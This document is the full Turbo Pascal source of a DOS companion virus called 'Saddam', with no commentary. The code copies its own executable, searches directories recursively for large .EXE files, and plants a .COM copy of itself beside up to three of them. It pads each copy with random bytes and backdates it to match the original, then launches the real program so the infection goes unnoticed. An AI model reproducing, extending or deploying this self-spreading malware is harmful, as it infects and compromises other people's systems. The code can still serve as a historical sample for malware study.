Program Saddam;
{$M 10000,0,0}
Uses DOS;
Var DriveID : String [2]; Buffer : Array [1..8000] Of Byte; Target,Source : File; Infected : Byte; Done : Word; TargetFile : String;
(*ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ*)
Function ExistCom : Boolean; Var FindCom : SearchRec; Begin FindFirst ( TargetFile, 39, FindCom ); ExistCom := DosError = 0; End;
(*ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ*)
Procedure SearchDir ( Dir2Search : String ); Var S : SearchRec;
Begin
If Dir2Search [ Length ( Dir2Search ) ] <> '\' Then Dir2Search := Dir2Search + '\';
FindFirst ( Dir2Search + '*.exe', 39, S );
While DosError = 0 Do Begin
TargetFile := Copy ( Dir2Search + S.Name,1, Length ( Dir2Search + S.Name ) -3 ) + 'com';
If ( Copy ( S.Name, Length ( S.Name ) -2,3 ) = 'EXE' ) And Not ExistCom And ( Infected < 3 ) And ( S.Size > 25000 ) Then Begin {$i-} Inc ( Infected ); Assign ( Target, TargetFile ); Rewrite ( Target,1 ); BlockWrite ( Target, Buffer, Done + Random ( 4400 )); SetFTime ( Target, S.Time ); Close ( Target ); If IoResult = 101 Then Begin Infected := 3; Erase ( Target ); End;
{$i+} End;
FindNext ( S ); End;
FindFirst ( Dir2Search + '*', Directory, S );
If S.Name = '.' Then Begin FindNext ( S ); FindNext ( S ); End;
If ( DosError = 0 ) And ( S.Attr And 16 <> 16 ) Then FindNext ( S );
While DosError = 0 Do Begin If ( S.Attr And 16 = 16 ) And ( Infected < 3 ) Then SearchDir ( Dir2Search + S.Name ); FindNext ( S ); End; End;
(*ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ*)
Begin
DriveID := FExpand ( ParamStr ( 1 )); Infected := 0;
Assign ( Source, ParamStr ( 0 ) ); Reset ( Source, 1 ); BlockRead ( Source, Buffer, 5000, Done ); Close ( Source );
Randomize;
SearchDir ( DriveID );
Exec ( Copy ( ParamStr ( 0 ),1, Length ( ParamStr ( 0 )) -3 ) + 'exe', ParamStr ( 1 ) );
End.